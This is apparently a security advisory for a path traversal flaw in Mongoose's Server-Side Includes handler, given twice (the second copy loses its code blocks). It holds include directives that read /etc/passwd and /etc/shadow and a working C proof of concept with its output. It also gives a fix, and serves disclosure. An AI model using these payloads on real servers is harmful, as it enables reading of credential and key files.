Summary
When Server-Side Includes (SSI) is enabled, the mg_ssi() function processes <!--#include file="..."> and <!--#include virtual="..."> directives without sanitizing the path argument. The path is concatenated directly into a filesystem path with no mg_path_is_sane() check, allowing ../ traversal to read arbitrary files. An attacker who can write or control the content of an .shtml file can read any file readable by the Mongoose process, including /etc/passwd, /etc/shadow (if running as root), application configuration, private keys, etc.
Severity
- CVSS 3.1: 6.5 (Medium) —
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory — "Path Traversal")
Affected Version
Vulnerability Details
Root Cause
The SSI processor at lines 12101–12117 handles two include directives:
// file= directive (line 12101-12105): path relative to current .shtml file
if (sscanf(buf, "<!--#include file=\"%[^\"]", arg) > 0) {
char tmp[MG_PATH_MAX + MG_SSI_BUFSIZ + 10],
*p = (char *) path + strlen(path), *data;
while (p > path && p[-1] != MG_DIRSEP && p[-1] != '/') p--;
mg_snprintf(tmp, sizeof(tmp), "%.*s%s", (int) (p - path), path, arg);
// NO mg_path_is_sane() check on arg or tmp!
data = mg_ssi(tmp, root, depth + 1); // Opens the file
// virtual= directive (line 12115-12117): path relative to root dir
} else if (sscanf(buf, "<!--#include virtual=\"%[^\"]", arg) > 0) {
mg_snprintf(tmp, sizeof(tmp), "%s%s", root, arg);
// NO mg_path_is_sane() check on arg or tmp!
data = mg_ssi(tmp, root, depth + 1); // Opens the file
The arg value is extracted from the SSI directive with sscanf and concatenated into a file path. No path sanitization is performed — ../ sequences pass through directly to fopen().
Note: mg_path_is_sane() IS used in uri_to_path2() (line 2534) for HTTP request URIs, but it is NOT called in the SSI include handler.
Exploitation
An attacker who can write content to an .shtml file on the server creates:
<!--#include file="../../../etc/passwd"-->
<!--#include virtual="/../../../etc/shadow"-->
When any user requests this .shtml file, Mongoose reads and returns the contents of /etc/passwd and /etc/shadow inline.
Proof of Concept
// Build: gcc -O2 -DMG_ENABLE_LINES -DMG_ENABLE_SSI -DMG_ENABLE_DIRLIST -I<mongoose_src> poc.c -o poc
// Run: ./poc
#include "mongoose.c"
#include <stdio.h>
static void fn(struct mg_connection *c, int ev, void *ev_data) {
if (ev == MG_EV_HTTP_MSG) {
struct mg_http_serve_opts opts = {
.root_dir = "/tmp/mg_ssi_test",
.ssi_pattern = "#.shtml"
};
mg_http_serve_dir(c, ev_data, &opts);
}
}
int main(void) {
system("mkdir -p /tmp/mg_ssi_test/subdir");
FILE *f = fopen("/tmp/mg_ssi_test/subdir/evil.shtml", "w");
if (f) {
fprintf(f, "<html><body>\n");
fprintf(f, "<h1>SSI Path Traversal PoC</h1>\n");
fprintf(f, "<h2>/etc/passwd via file= directive:</h2>\n");
fprintf(f, "<pre>\n");
fprintf(f, "<!--#include file=\"../../../etc/passwd\"-->\n");
fprintf(f, "</pre>\n");
fprintf(f, "<h2>/etc/hostname via virtual= directive:</h2>\n");
fprintf(f, "<pre>\n");
fprintf(f, "<!--#include virtual=\"/../../../etc/hostname\"-->\n");
fprintf(f, "</pre>\n");
fprintf(f, "</body></html>\n");
fclose(f);
}
struct mg_mgr mgr;
mg_mgr_init(&mgr);
mg_http_listen(&mgr, "http://0.0.0.0:8099", fn, NULL);
for (;;) mg_mgr_poll(&mgr, 1000);
mg_mgr_free(&mgr);
return 0;
}
Steps to Reproduce
gcc -O2 -DMG_ENABLE_LINES -DMG_ENABLE_SSI -DMG_ENABLE_DIRLIST -I<mongoose_src> poc.c -o poc
./poc &
curl http://localhost:8099/subdir/evil.shtml
Expected (correct) Output
SSI include with path traversal rejected.
Error: Invalid include path "../../../etc/passwd"
Actual Output (vulnerable)
$ curl http://localhost:8099/subdir/evil.shtml
<pre>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
</pre>
Full contents of /etc/passwd are returned. The virtual= directive also works for /etc/hostname.
Impact
- Confidentiality: High — arbitrary file read. Can access
/etc/passwd, application configs, private keys, database credentials, and any file readable by the Mongoose process.
- Integrity: None.
- Availability: None.
- Attack vector: Network. Requires (1)
MG_ENABLE_SSI compiled in, (2) ssi_pattern configured, (3) attacker can write content to an .shtml file. File-write vectors include mg_http_upload, user-generated content stored in .shtml files, shared/mounted filesystems, or CMS-style applications.
On IoT devices with SSI-enabled web interfaces, the attacker may be able to upload a crafted .shtml file via the device's file-management interface.
Suggested Fix
Add mg_path_is_sane() validation on the resolved path before opening:
// For file= directive (after line 12105):
mg_snprintf(tmp, sizeof(tmp), "%.*s%s", (int) (p - path), path, arg);
if (!mg_path_is_sane(mg_str(tmp))) {
MG_ERROR(("SSI include path traversal blocked: %s", arg));
} else if (depth < MG_MAX_SSI_DEPTH && ...) {
// For virtual= directive (after line 12117):
mg_snprintf(tmp, sizeof(tmp), "%s%s", root, arg);
if (!mg_path_is_sane(mg_str(tmp))) {
MG_ERROR(("SSI include path traversal blocked: %s", arg));
} else if (depth < MG_MAX_SSI_DEPTH && ...) {
Additionally, verify the resolved path starts with the root directory to prevent absolute-path escapes.
Patched In
Fixed in the 2026-06-23 Mongoose release (SBOM 7.21_1ddf6c2cbd_5ab08203 or later).
References
Summary
When Server-Side Includes (SSI) is enabled, the
mg_ssi()function processes<!--#include file="...">and<!--#include virtual="...">directives without sanitizing the path argument. The path is concatenated directly into a filesystem path with nomg_path_is_sane()check, allowing../traversal to read arbitrary files. An attacker who can write or control the content of an.shtmlfile can read any file readable by the Mongoose process, including/etc/passwd,/etc/shadow(if running as root), application configuration, private keys, etc.Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NAffected Version
mongoose.cmg_ssi()Vulnerability Details
Root Cause
The SSI processor at lines 12101–12117 handles two include directives:
The
argvalue is extracted from the SSI directive withsscanfand concatenated into a file path. No path sanitization is performed —../sequences pass through directly tofopen().Note:
mg_path_is_sane()IS used inuri_to_path2()(line 2534) for HTTP request URIs, but it is NOT called in the SSI include handler.Exploitation
An attacker who can write content to an
.shtmlfile on the server creates:When any user requests this
.shtmlfile, Mongoose reads and returns the contents of/etc/passwdand/etc/shadowinline.Proof of Concept
Steps to Reproduce
Expected (correct) Output
Actual Output (vulnerable)
Full contents of
/etc/passwdare returned. Thevirtual=directive also works for/etc/hostname.Impact
/etc/passwd, application configs, private keys, database credentials, and any file readable by the Mongoose process.MG_ENABLE_SSIcompiled in, (2)ssi_patternconfigured, (3) attacker can write content to an.shtmlfile. File-write vectors includemg_http_upload, user-generated content stored in.shtmlfiles, shared/mounted filesystems, or CMS-style applications.On IoT devices with SSI-enabled web interfaces, the attacker may be able to upload a crafted
.shtmlfile via the device's file-management interface.Suggested Fix
Add
mg_path_is_sane()validation on the resolved path before opening:Additionally, verify the resolved path starts with the root directory to prevent absolute-path escapes.
Patched In
Fixed in the 2026-06-23 Mongoose release (SBOM
7.21_1ddf6c2cbd_5ab08203or later).References